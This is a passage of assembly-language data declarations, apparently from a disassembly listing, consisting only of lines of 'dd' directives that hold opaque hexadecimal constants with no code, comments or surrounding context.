dd 0F718AFA6h, 0E9B767B8h, 0A97231Dh, 0E479254Fh, 7580961Ah
dd 3C2AA1D8h, 0E8950EAh, 0B400FA83h, 85541977h, 6032198h
dd 132453E1h, 41C5E94Eh, 98042CD4h, 0FC480E0Fh, 0F0C015EFh
dd 5CC04B3Fh, 784A81E4h, 1A750A00h, 73BB9A4h, 0A573E3C3h
dd 8A3D50F8h, 80011109h, 48302F9h, 0E1F46B42h, 1D70FFC1h
dd 0B822000Dh, 0B046A868h, 9C0FC41Ah, 600A3D32h, 81412919h
dd 0EBBF0074h, 764850DEh, 58005216h, 0B472114Ch, 0EC04C601h
dd 40FF001Ah, 816656F3h, 13005830h, 0F8425290h, 263C494Eh
dd 0ED51FFAh, 6F60D23Dh, 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h
dd 95AC00DDh, 3AC2484Fh, 6500F426h, 104B8339h, 203CA2Bh
dd 7CF080C4h, 0A1808A1Fh, 3A9B3C42h, 0D701172h, 60AA062Eh
dd 1EBEE00h, 122B4A33h, 3B8930h, 64CEA7D2h, 5B1EDBB6h
dd 0AC0BAD4h, 0CDEB5837h, 43C30EACh, 0CFE0850Ch, 6930C235h
dd 8797743Fh, 0FC5AE45Bh, 0E13D9B12h, 0E5701877h, 120F1DF1h
dd 27B9C00Ah, 4B35FF05h, 0BCC60C00h, 58F08904h, 24ED0198h
dd 4084B073h, 0E2E8700Ah, 76805A00h, 45E89C6h, 56FF1D17h
dd 4587C718h, 0B8942069h, 76007166h, 6F47BAF1h, 75BE77h
dd 0B7070FB2h, 0B045B3C8h, 21C5F507h, 1E903347h, 90FC2E75h
dd 2803007Eh, 4987B8BBh, 600452Bh, 1167FD1h, 7DC5A30Eh
dd 421900F4h, 5F4CA4F3h, 59503302h, 100DA85h, 915D7A62h
dd 0B6E3D06h, 0AB75A04Eh, 39F6C780h, 5800D050h, 49A6595Ah
dd 3B77426h, 95772BCDh, 0B87807D6h, 0BA258E0Eh, 83750060h
dd 0EA7E40F9h, 0E9071F21h, 0B951C004h, 4A27269Ah, 1E773F00h
dd 0D7532C7h, 7ED5015Bh, 608F0464h, 1AC3E4FFh, 3FDC7100h
dd 2812F825h, 0EC0E3DA1h, 0CB802BBBh, 2F820B7Eh, 44E874D1h
dd 0F1875A0Bh, 1D2D00F5h, 0AEA0BAh, 542B7EBDh, 3B90E91Fh
dd 89DB520Fh, 3FDD201Eh, 580809F3h, 8213B67Dh, 63490017h
dd 56C3EB15h, 10D38400h, 0E22B5A27h, 121403CBh, 0C928B5CAh
dd 0E9428688h, 69C75300h, 8D368158h, 55FF0E51h, 0B967C17Ah
dd 5A6CC001h, 0E202A4AAh, 0F04C49A9h, 7B0DE020h, 40950483h
dd 0C1AEF2F4h, 0D349D125h, 21ED6C00h, 2C663B97h, 0D7F60012h
dd 0ABA63790h, 0E000209Fh, 4574487Ch, 71416CBh, 7F8DD5A2h
dd 0F29C02Bh, 5F001FE2h, 2CDB92C0h, 4F6855h, 0DE011990h
dd 0ECE8C1C9h, 4224B201h, 3D620F16h, 9E18FCh, 3318C50h
dd 800422B3h, 340045E0h, 0C3158451h, 0EA48D8F7h, 4442007Dh
dd 3001F9E2h, 0B0EE0B3h, 0CB473198h, 0C7670752h, 2DA3C3E0h
dd 6577005Eh, 70EED93Dh, 150001A4h, 0A7FFF80h, 0EE13FC8h
dd 1C4002A0h, 840542E0h, 770008FAh, 380C9C72h, 7A47C350h
dd 0F424000Fh, 9680C012h, 8C7A1698h, 0BEBC200Fh, 6B286119h
dd 16A61CEEh, 80951F7Ah, 43B7E16Fh, 0C0023BAh, 0D4A50410h
dd 0FE800DE8h, 84E7002Ah, 14A39174h, 0E6F4F4F0h, 2DB52800h
dd 31A0020Ah, 0E35F18A9h, 8BF3C30h, 8E1BC900h, 2EC54034h
dd 7CA258BCh, 76FA3700h, 0B6B3A0Eh, 3E91DE38h, 234400E8h
dd 883E8AC7h, 4AC0162h, 0AD78EBC5h, 7A80C041h, 26B71701h
dd 44D8D710h, 1AC90C0h, 8678326Eh, 30484087h, 0A0357B5h
dd 0A968163Fh, 0EDA1804Bh, 0CE0703CCh, 4ED3C21Bh, 1484A0C8h
dd 5161F800h, 527A5976h, 0A5C80407h, 0C0B99019h, 0A0556724h
dd 200F3A0Fh, 8F27E0F4h, 0C358CECBh, 0F894093Eh, 3F3978D8h
dd 875C813Dh, 36B90BE5h, 8FD1D7B7h, 0DFEC5FA1h, 467004Eh
dd 0F2C9CD1Ch, 8300629Eh, 45812296h, 1C6F7CF8h, 3F657AFCh
dd 2B70B500h, 9DC5ADA8h, 1697F00h, 0FFCFA6D5h, 781F0E49h
dd 0C314B6BDh, 16C59B03h, 0EF80B3ABh, 0E001413Dh, 0A48E98Ch
dd 93E4BAE4h, 24AAE0A8h, 0E78E617h, 0B60516A1h, 55718012h
dd 8D093927h, 70F70Fh, 0C9304093h, 0FFE33D3Ch, 8A529681h
dd 838E49E7h, 0EBFB9D9Ch, 5152007Eh, 6A2F8C43h, 0F00195Ch
dd 0BBD226FCh, 1EE37640h, 8029F2CCh, 7D817C84h, 0A141C44h
dd 0A4DB90h, 406F9FA4h, 1F8AA17h, 0E30F10AEh, 0ECFAC4C5h
dd 0B01C9C59h, 0DD002AE9h, 4564F28Ah, 0F7F300D4h, 4AE1EB03h
dd 0CF0F957Ah, 0A7A262D1h, 0D800DC07h, 39B83Eh, 0E91C746h
dd 0A0AEA603h, 0A3E31900h, 750C17D0h, 86812C39h, 48C9002Ah
dd 93A7E44Dh, 353BF0E1h, 0EDB2B800h, 5D1CE553h, 0FDC5003Dh
dd 929E8B80h, 0F000A65Ah, 0C02001A1h, 0F8CA554h, 0E5FB6137h
dd 5D259D01h, 0DBF9C089h, 0F3F86700h, 7BA2BF27h, 80CAC0C8h
dd 20979B6Eh, 28A38h, 25C46052h, 59F075h, 562FCD5h, 0CAAE3511h
dd 3F857B00h
dd 0F7144EFAh, 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h
dd 59D109A8h, 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh
dd 4C914197h, 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h
dd 0A791001h, 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h
dd 20E9DB91h, 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h
dd 0D68ED24Eh, 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh
dd 40001B1Fh, 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h
dd 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h
dd 5875FFh, 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h
dd 0FFDA00C3h, 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h
dd 0F882681h, 8B40835Ah, 0A77B9EDAh, 5D64F300h, 47565948h
dd 0C8EE07h, 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h
dd 42CC88h, 2F3344DCh, 85844F80h, 251520Fh, 40400FABh
dd 9C7C20F9h, 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h
dd 2A60A510h, 5CFB0EE0h, 0C121061Ch, 708B1FFAh, 9900E6FCh
dd 38F8D333h, 3B487FADh, 303F5EF9h, 0E8000EBEh, 395364DAh
dd 2500AFEAh, 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h
dd 2C383500h, 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h
dd 0FC2B7A81h, 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h
dd 703C685Dh, 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h
dd 2299B355h, 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h
dd 0E8C76603h, 0AF9D6Ch, 287F34A7h, 92A40901h, 897058h
dd 4991410h, 0ECA78056h, 98EB00E8h, 2940693Fh, 541F4BFAh
dd 2A050A90h, 5D80877Eh, 1A5A6Bh, 697947F3h, 5F76139Bh
dd 22302D00h, 9DAB7CBAh, 3AE500F9h, 0F4AF25Dh, 0D07B25Ah
dd 472CA31Bh, 9001BBE0h, 84280015h, 204838DBh, 0C201F229h
dd 94345577h, 0D660CBF3h, 0B8090092h, 0FC114710h, 0F8008891h
dd 0F072F4E4h, 90CEC39h, 8B82F53h, 8343CC00h, 0CC033D2Ah
dd 197DE0D7h, 25E2F00Ah, 0D22E00E8h, 1C8368A8h, 0E175406Ah
dd 987B4503h, 0D8A50C02h, 0AEB1Fh, 2D31A153h, 3D0D8B43h
dd 0E01D8900h, 78156B19h, 83784Fh, 2F2893E8h, 1CD422A3h
dd 56E75403h, 0E0A531B3h, 5771E14h, 32157CC5h, 0D04CC74Eh
dd 8B730A3Bh, 282B2903h, 0A8CD191Fh, 581246h, 548E0B2Dh
dd 318A4C9Bh, 1DC80D00h, 1442058Bh, 0FF600084h, 15F66428h
dd 6D182C6Bh, 0AD04C382h, 4F34176Eh, 80B71E5Bh, 7A17E022h
dd 0D903E612h, 0E3535A88h, 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h
dd 0CD00C48Bh, 0D88E6927h, 0B4E641h, 8900460h, 0CAA8A10Ah
dd 0EA31300h, 0BA4B80Ch, 0EB2503E8h, 8466937h, 94047BC8h
dd 4B13BA00h, 75F998B1h, 25EE6Eh, 9E9D5014h, 764D8BC9h
dd 5328A200h, 20D53AEDh, 0C10CE627h, 0EC908458h, 0C55B204Fh
dd 0D835FF00h, 0BCB93D14h, 331C014Eh, 54CC2524h, 790BCC99h
dd 3401577Bh, 932DC45h, 69E480C4h, 0EB601EA6h, 0A49ECF10h
dd 722413C0h, 99282004h, 2309EE08h, 149118h, 7C0CE47Ah
dd 478E1EA8h, 40A05EA4h, 3998729Ch, 90691C94h, 0F07FFE1Ah
dd 6C009170h, 64E468C8h, 98396072h, 22586132h, 60502354h
dd 4800C819h, 407244E4h, 601C3C39h, 23342238h, 2C009130h
dd 0B4E4B8C8h, 3BB072h, 0FC319382h, 0A6F8104Ch, 0F4470800h
dd 0EC91F023h, 9FE800CFh, 10E494A1h, 802E0CAh, 0D872DC64h
dd 0D0464139h, 23CC5E80h, 0DEC491C8h, 0F8CE100h, 3D207B7h
dd 10E200C1h, 0B0C3C20Bh, 4F98A1E8h, 0B62F9300h, 90AE01CCh
dd 7FE10181h, 187BD521h, 4914DC05h, 57780800h, 64487710h
dd 5387000Ch, 517F90FDh, 1AB80F8Fh, 697C9717h, 4C459501h
dd 4770F909h, 0B1465080h, 0A2423A3Ch, 0E7641A83h, 898F06Ah
dd 0C83EF111h, 72F300F2h, 1CF539F4h, 0F7C8C0F6h, 0F991F823h
dd 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah
dd 0C8E391E2h, 72E588E4h, 0E73900E6h, 0CF21E81Ch, 0E901884Bh
dd 32EAC5D7h, 0E20EB18h, 0ED1C30ECh, 0EF23EE42h, 0C8D09100h
dd 72D2E4D1h, 0E83B75D3h, 0D6390CD5h, 0D82AD71Ch, 91D92301h
dd 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh, 0C123C000h, 0C3C8C291h
dd 72C401E4h, 1CC639C5h, 722BEC7h, 0CA91C923h, 0CCE4CB50h
dd 39CD0472h, 0CF1CCEh, 91B123B0h, 0B3C824B2h, 39B58111h
dd 80B71CB6h, 0B923B822h, 0C8BA91h, 72BCE4BBh, 1CBE39BDh
dd 12A0BF40h, 9BA122h, 705CC165h, 431E23E8h, 1EBC848Fh
dd 425E082Ah, 65209F03h, 0E75BD8FEh, 0AC901DCFh, 0C29C032h
dd 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah, 0F62F0501h, 2AB0FEh
dd 65637845h, 0A6D13A70h, 805D883Ah, 8B530A7h, 1C8A1020h
dd 0C0685CD4h, 817E2423h, 651F4845h, 5B037061h, 0ABE45790h
dd 95809CB2h, 0C015E2h, 754F450Ch, 66017473h, 6D654D00h
dd 3A79726Fh, 9520001Ch, 0A9E95C5Eh, 91EAB840h, 450BD4F5h
dd 0DD6E4909h, 3FEE0EBDh, 588E989Dh, 48EF8390h, 2F0C9066h
dd 28400F74h, 0D8A06C61h, 0B258F057h, 4C6030B0h, 2D12C484h
dd 846C0523h, 817E5F50h, 0F0756020h, 10165209h, 35010E65h
dd 47F658A8h, 79043CD0h, 0F01F642h, 76694445h, 415A7900h
dd 90016FBBh, 585E60C1h, 0EED4109Ch, 2C00048h, 676E6152h
dd 9DFD1965h, 7700C820h, 8210C92h, 4076014Fh, 6F6C66AFh
dd 2B74F44Dh, 0D95CB41Ch, 64221DC0h, 0FC0C20E9h, 1E0A7EBFh
dd 0B9063B3h, 0F38F7AD5h, 688461A0h, 940B2E60h, 7626B4h
dd 4F64691Eh, 0D2902A70h, 0BE07F193h, 5B92B740h, 0C237B4C0h
dd 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h, 9A1F0062h, 0D0084740h
dd 520A6E55h, 0EE3A5964h, 6C76AB28h, 0D188E500h, 8760220Fh
dd 4F6F0450h, 81854A36h, 0D044F649h, 301DB90Ch, 97D567Eh
dd 8C433Ah, 63E98D01h, 7542F4AFh, 0C01D0024h, 6F43450Dh
dd 0B002BAD4h, 80A2D858h, 0A00543BDh, 0EACC4Ch, 41451005h
dd 7388C363h, 0E0568A00h, 0B9616C89h, 0BC2A1E8Eh, 40F64047h
dd 26F42CB1h, 325048h, 1656C8Bh, 503890E4h, 0C084CA64h
dd 0E803B0Ah, 74005345h, 6B632661h, 67905081h, 4064A294h
dd 1109C93Bh, 20747003h, 0A7EF6C6Bh, 58AFEC30h, 52E864h
dd 5684C83Bh, 390D8761h, 8A04512h, 0D4FC8D00h, 58EA5C40h
dd 0C51E2449h, 0BD59C02Dh, 23614609h, 8D646F0Eh, 0B260C057h
dd 7FE41DA8h, 8462030Eh, 738572D9h, 490BDE8h, 839C6655h
dd 41491F0Ah, 4365D2ACh, 8F60E074h, 0B289E7E4h, 890C8112h
dd 0C4002A1Eh, 8D70E3DCh, 6903FFh, 59242552h, 0FDAA7ECh
dd 0C1C20100h, 0F76610EAh, 5DF407F3h, 0D0F9ED08h, 0B0130693h
dd 0BD04D809h, 0B2768010h, 4CEDA1FEh, 37003E74h, 525A6CCFh
dd 5C00212Bh, 6A69B3A9h, 29EA84h, 10236DAFh, 2CA66706h
dd 1B409D00h, 44B7C38Bh, 4DEE00EDh, 0B3E58F5h, 5B016D47h
dd 0D70D3D28h, 4BF8FC67h, 3AEB00E1h, 0B04A2ADAh, 0C91690A5h
dd 0B1005388h, 0EBA80996h, 0D2D900DDh, 89DC520Fh, 390716C1h
dd 47AC76D1h, 0F3C9003Eh, 12A74A6h, 95FF5E8Ah, 70627852h
dd 770F7A94h, 0C07D4855h, 0A120DC7Fh, 0A0C2703Bh, 0FB38F5h
dd 300FD874h, 0D706C3B6h, 69D02900h, 31DFAE5Bh, 2EEA003Ch
dd 64EFADD4h, 2A00ED58h, 43A0E66Eh, 7CF33Bh, 6807307h
dd 7620FF1Fh, 0A16F40Eh
dd 0C58B407Dh, 0EB6192h, 2A914E17h, 6CF83037h, 0CB2BCE00h
dd 0D3674175h, 99330073h, 575AD0DEh, 6A002187h, 51A65F09h
dd 0E44E08C6h, 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h
dd 6844BDD8h, 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h
dd 0F90FC685h, 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h
dd 0F062B034h, 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h
dd 557550BAh, 12F3B91h, 3822F5D5h, 402E1004h, 0C4F278E2h
dd 3A3F9400h, 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh
dd 19E5F100h, 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch
dd 0D90197F0h, 89153D65h, 0BCC8F5Ch, 842401D4h, 0EB66ECA1h
dd 0AFE8D490h, 43CC5600h, 9F0C62C6h, 5FFE4Ch, 0D4D68251h
dd 993537AAh, 5A880207h, 32079D6Eh, 31566910h, 3EF83F84h
dd 40E7C39Dh, 747F588Ah, 5C7C1228h, 9AEFF00h, 6B291B50h
dd 3F840002h, 4461765Bh, 884CEE0Eh, 75400E9Fh, 3802403Ch
dd 8C4F06h, 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh
dd 697970h, 2658E711h, 560580F0h, 4DB90102h, 0E1BA7FCDh
dd 0C73F692Fh, 0B38069D4h, 0E4CCE884h, 0AA0014E8h, 9213D353h
dd 0A32CFACh, 24F40852h, 70FC00E5h, 0A40F45E3h, 12FB307h
dd 33D06DF7h, 3D3A20D2h, 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h
dd 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h, 729F2DB0h, 0A639600Eh
dd 58441A00h, 104686C2h, 5BC30012h, 0BDE6127h, 29005E90h
dd 9697C714h, 7BC2516h, 0FEB818E8h, 98C8D013h, 0EC0099E3h
dd 34D6373Bh, 16AFCAA4h, 11B080h, 0E9C13A95h, 0A6004D9Fh
dd 38BED1D2h, 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh
dd 36404A3Ch, 73FC5FCh, 27895657h, 7FF7405Ch, 9D06E7D1h
dd 0F899CA9Bh, 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh
dd 54C105F6h, 78410175h, 2DAA0029h, 5AD91996h, 783D1785h
dd 0DFB0067h, 0D83B622Eh, 9FDA00C0h, 50127DC5h, 0D000A928h
dd 597A8E90h, 15A5F25h, 802AF4D3h, 0D0C6AACAh, 67003164h
dd 21D20BFFh, 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch
dd 0EA2112FAh, 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch
dd 95543200h, 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh
dd 0D0885F03h, 98E16392h, 67503h, 4648F82Eh, 766CCCA2h
dd 97299800h, 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch
dd 6BF9C000h, 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh
dd 0D90070FCh, 0FBF2F87Dh, 761F0Eh, 0AB9BBB05h, 944A8C26h
dd 8E7B9000h, 4B9FBC01h, 9DC400DFh, 0E8D602CBh, 0A6F259FBh
dd 3C1C1900h, 20A864FFh, 6AA028Bh, 0F0CF22CBh, 61F056C3h
dd 6C0524B1h, 8F9A289Ch, 62B01E87h, 0F732E76Fh, 0A8DAADCh
dd 60537BE2h, 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h
dd 7D510068h, 0B22890FCh, 612C8C5h, 0CC0012F4h, 0CE390E16h
dd 0ACB01CA1h, 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh
dd 0BF845FF7h, 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h
dd 575302Dh, 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h
dd 0F8C825D8h, 1DFEB31h, 22BBE414h, 0C42E6440h, 0B40F2919h
dd 9C2649h, 0DC75C3E0h, 0A6525851h, 5AFBCD04h, 0A08D80EEh
dd 6000273h, 7D80DB31h, 727C9AEBh, 12CA000Ah, 42D10104h
dd 8758A4ACh, 570C1FFDh, 0E948F7Ah, 0E99D009Ah, 3C610ABAh
dd 0C6004454h, 5A18A104h, 9E7F8B59h, 15D8331Dh, 302AF880h
dd 0E80A2274h, 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h
dd 12AC0B6h, 3E5080C3h, 1A0B9403h, 0D68AE958h, 46178Dh
dd 1277A7DEh, 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch
dd 4F1F0086h, 24C2ACDCh, 0C12488DFh, 6E029DFFh, 0E070523Ch
dd 75015Ah, 0DE348D0Ch, 4A0F06D8h, 43F0B60Fh, 669D8024h
dd 0F4406Dh, 0AA08CC6Eh, 7F88C111h, 0F1816F00h, 41276112h
dd 4A1800CAh, 2102C604h, 93C2564h, 34D08E7Bh, 6919C066h
dd 2C0111BEh, 3FE87Dh, 0B955D39Dh, 0DC074D87h, 97D5D129h
dd 5D8DA330h, 20120061h, 0F29D1399h, 53007368h, 44F9800Bh
dd 0B0C8D074h, 2A600EB4h, 40DE580Ah, 826FB4B9h, 0F70023EBh
dd 1E575243h, 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h
dd 2D02B04Fh, 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh
dd 9D038BCCh, 785848h, 92598043h, 60EAE2BDh, 723AE900h
dd 2907C383h, 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h
dd 0AF4D8D00h, 91A1F129h, 0E3B72E0h, 39907654h, 0AEA7842h
dd 0D330F660h, 0F17B100h, 8F4257B5h, 22111E15h, 3D854010h
dd 93ACE092h, 90017E0h, 0F70E79C0h, 29E8D8h, 51875E81h
dd 65997E9Fh, 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h
dd 520191FEh, 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh
dd 3C96245Bh, 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh
dd 1235C0C8h, 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h
dd 0F0713B13h, 6AD6B7h, 0EBCA5D5Fh, 7C95170Bh, 9053400h
dd 0EABA74F6h, 3B710001h, 6F77E04Dh, 0C01901Ah, 0D605091h
dd 2FC2A65h, 0E3291C97h, 0F24F8033h, 5FB686F9h, 5040411Ch
dd 45C78880h, 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h
dd 6E98E103h, 0C047EFB3h, 1FF3F77h, 0DF450E9Dh, 0E5029038h
dd 4440EE46h, 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h
dd 139EC92h, 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h
dd 8B0291h, 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h
dd 0B886FA50h, 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh
dd 0D9AB50C3h, 736FF680h, 0FD4F035h, 2024B211h, 34E6BF40h
dd 9600F1FAh, 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h
dd 0E8D7F830h, 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h
dd 87009124h, 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h
dd 391F5E00h, 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh
dd 0E05AB67Ch, 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h
dd 3EE6EAEh, 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h
dd 2C23B38h, 437D7Ch, 0DDDB0330h, 645157B2h, 62722F00h
dd 0A6B4BA7h, 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh
dd 2563E08Dh, 0E419F6h, 4118C5Eh, 3490DCA4h, 7ADD6105h
dd 61870DD8h, 8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h
dd 16C0D848h, 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h
dd 681C9D0Bh, 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh
dd 0FA3B0C4Dh, 47203Ch, 0F841F940h, 0E8FE0581h, 3AD48200h
dd 6939FFB8h, 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h
dd 0D14020C2h, 9FE810h, 0AD6CD61h, 0DB307828h, 0C8AE0660h
dd 0EA4714Fh, 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h
dd 39A4BB80h, 92718770h, 8BC09757h, 881EC5h, 66517231h
dd 0FDC79A5h, 0CF094F07h, 57D010D5h, 278461h, 7E811575h
dd 456744A1h, 37E3C000h, 97173259h, 2B8E0056h, 88723810h
dd 407CDAF4h, 915FF800h, 0E1E44D28h, 0A6F4C8h, 4FE083C1h
dd 21D00C03h, 0C7D91401h, 0D64BEB4h, 98CE60F8h, 0B585001Dh
dd 0B9157672h, 0F0F0190h, 0A15AF120h, 0AED6E8B8h, 7C508D47h
dd 13F8B2h, 66FA6C14h
dd 0D8FE28E7h, 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h
dd 3431EC04h, 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h
dd 167ABD3Ah, 7E772700h, 72052026h, 787A67h, 33F0CE0Ch
dd 3F6C18FBh, 81C7FC00h, 0FE465C3Bh, 94620077h, 17904815h
dd 30070E7Eh, 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch
dd 0A0C18B49h, 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h
dd 0F06A2BF2h, 6CB14012h, 0F3FD2B00h, 0C36231h, 23EE810Ah
dd 857524D9h, 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah
dd 7791F073h, 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch
dd 61BA1480h, 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh
dd 0C0E8076Eh, 0D0B6FDA2h, 0C985EC82h, 2B127F71h, 0DF075ED0h
dd 64E00D2Ah, 5BB35F4h, 8C063757h, 902BC0F0h, 7034612h
dd 497D834Ah, 819DE0A5h, 0B1F90017h, 7C660F3Ah, 0E90206BEh
dd 90109ED3h, 12FDC071h, 19130052h, 0F2BCED7Dh, 5004672h
dd 8EACBA66h, 7B3182h, 9A2FB3A9h, 0A7504C3h, 4DFFB905h
dd 0EE000DDEh, 3E6B322Eh, 74410764h, 132A56D8h, 10B04490h
dd 503B55Ch, 0FCC12DA4h, 2E098F0h, 481E005Eh, 0E64B5288h
dd 5000CB2Ch, 6D07625Dh, 0F14110Eh, 74778693h, 4C9CC840h
dd 0B400AD4Ah, 8CEC465Dh, 103B63h, 15640B72h, 4002291Ch
dd 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h, 64F1001Bh, 4BF41626h
dd 0F207BA5Eh, 514E444Ch, 342507D0h, 8060094h, 50FE1391h
dd 205C67FDh, 575E0011h, 2590E9D6h, 0B47E00E0h, 27E85082h
dd 0BB019148h, 9D0EED4Ch, 99F3540Ah, 43FC2B63h, 0DD530F1Fh
dd 28E7A65Ch, 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h
dd 1EDD8015h, 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh
dd 4B009235h, 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh
dd 514058B5h, 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h
dd 0D79E7323h, 51D0C8h, 6A621EB6h, 9499F502h, 41585700h
dd 0E08A6505h, 0F8F6EBh, 3260B63Eh, 50895951h, 0D09F0300h
dd 64EBDFDBh, 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h
dd 1A40D5Ah, 0B87604D2h, 0DC8DD34Ch, 48000AE2h, 0CC264A01h
dd 0EE51554Eh, 877EA6h, 5277E84Fh, 0DB4D3FE3h, 0C8004AECh
dd 142FBECBh, 58C64175h, 551C1E44h, 0B7D0C06Ah, 7C4CB950h
dd 94613Dh, 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h
dd 400923AAh, 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h
dd 0C8FB14F4h, 0AE02750Dh, 44748861h, 5064090h, 9B7BB9h
dd 0F859F913h, 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h
dd 4B6F7181h, 0C9606042h, 2A001E75h, 2E8F039Eh, 0FC1CE9h
dd 73706C85h, 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh
dd 8B1CF3CBh, 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh
dd 3C961F74h, 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh
dd 2E10C08Bh, 2AE200B5h, 0B297C44Ch, 590F44CCh, 40D4E542h
dd 0D0112CF2h, 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h
dd 48901h, 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h
dd 7CD5B4ACh, 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h
dd 90BBA27h, 0E1F9BAFh, 5DA2D77Dh, 8F806EEFh, 0CEFD3C41h
dd 0C80720E9h, 54046A00h, 37503056h, 0DF442568h, 16245500h
dd 420099BAh, 90A4D4B8h, 7F4ACC7h, 4A045698h, 0FB8069FAh
dd 80102903h, 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h
dd 98008C31h, 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h
dd 70FACACBh, 8902807Bh, 0C2D40E09h, 825AC0C1h, 25E43Dh
dd 75B0A166h, 0E80C5E5Ah, 0DDD0F00h, 13C4F330h, 0FEDB0016h
dd 0C32FC2D9h, 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h
dd 0BC16CC20h, 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh
dd 0D8434B5Fh, 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh
dd 0EB41120Eh, 0A30FE620h, 144D0500h, 24731682h, 2210032h
dd 774CCE54h, 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh
